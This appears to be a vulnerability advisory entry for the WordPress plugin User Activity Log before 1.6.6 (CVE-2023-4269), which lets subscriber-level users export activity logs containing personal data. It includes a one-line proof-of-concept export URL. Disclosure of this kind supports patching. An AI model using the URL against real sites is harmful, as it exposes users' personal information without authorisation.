Lucene search
Daniel RufWPVDB-ID:DB3E4336-117C-47F2-9B43-2CA115525297HistoryAug 09, 2023 - 12:00 a.m.
User Activity Log < 1.6.6 - Subscriber+ Log Export
2023-08-0900:00:00
Daniel Ruf
wpscan.com
7
plugin
data breach
authorization
subscriber
pii
url
security vulnerability
Description The plugin lacks proper authorisation when exporting its activity logs, allowing any authenticated users, such as subscriber to perform such action and retrieve PII such as email addresses.
PoC
As a subscriber, open the following URL https://example.com/wp-admin/admin-post.php?page=user_action_log&export;=user_logs&logformat;=csv&userrole;&dateshow;&username;&type;&showip;&txtsearch;&export-nonce;=aaa
| CPE | Name | Operator | Version |
|---|---|---|---|
| eq | 1.6.6 |
Related
cve
cve
CVE-2023-4269
2023-09-04 12:15:10
prion
prion
Code injection
2023-09-04 12:15:00
cvelist
cvelist
CVE-2023-4269 User Activity Log < 1.6.6 - Subscriber+ Log Export
2023-09-04 11:26:56
nvd
nvd
CVE-2023-4269
2023-09-04 12:15:10
wpexploit
wpexploit
User Activity Log < 1.6.6 - Subscriber+ Log Export
2023-08-09 00:00:00
wordfence
wordfence
4.5 Medium
AI Score
Confidence
High
0.0004 Low
EPSS
Percentile
14.1%
Related for WPVDB-ID:DB3E4336-117C-47F2-9B43-2CA115525297